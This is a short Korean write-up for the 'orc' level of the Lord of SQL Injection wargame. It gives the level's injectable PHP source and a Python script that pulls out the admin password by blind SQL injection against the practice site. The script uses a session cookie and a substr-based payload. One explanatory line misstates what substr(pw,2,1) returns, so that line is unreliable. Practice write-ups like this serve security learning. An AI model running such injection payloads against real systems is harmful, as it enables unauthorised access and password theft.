LOS orc

<?php 
  include "./config.php"; 
  login_chk(); 
  dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_orc where id='admin' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysql_fetch_array(mysql_query($query)); 
  if($result['id']) echo "<h2>Hello admin</h2>"; 
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_orc where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysql_fetch_array(mysql_query($query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc"); 
  highlight_file(__FILE__); 
?>

처음에 pw를 입력받고 쿼리가 맞다면 그에맞는 id를 출력해주기때문에 그것을 이용하여서 패스워드를 알아낼수있다.

substr(pw,2,1) pw 첫번째 글자에서 2글자를 잘라준다.

import urllib2
passwd = ''
i = 1
j = 33
while(True):
    url = 'https://los.eagle-jump.org/orc_47190a4d33f675a601f8def32df2583a.php?pw=1\' or id=\'admin\' and substr(pw,1,%d)=\'%s\''%(i,passwd+chr(j))+'%23'
    req = urllib2.Request(url)
    req.add_header('User-Agent','Mozilla/5.0')
    req.add_header('Cookie','PHPSESSID=p1fad2hverso8kg1fs3fndoof6')
    data = urllib2.urlopen(req).read()    
    if '<h2>Hello admin</h2>' in data:
        print 'Search: %d' %i
        i+=1
        print j
        passwd += chr(j)
        j = 33
        if len(passwd)==8:
            break
    else:
        j+=1
print passwd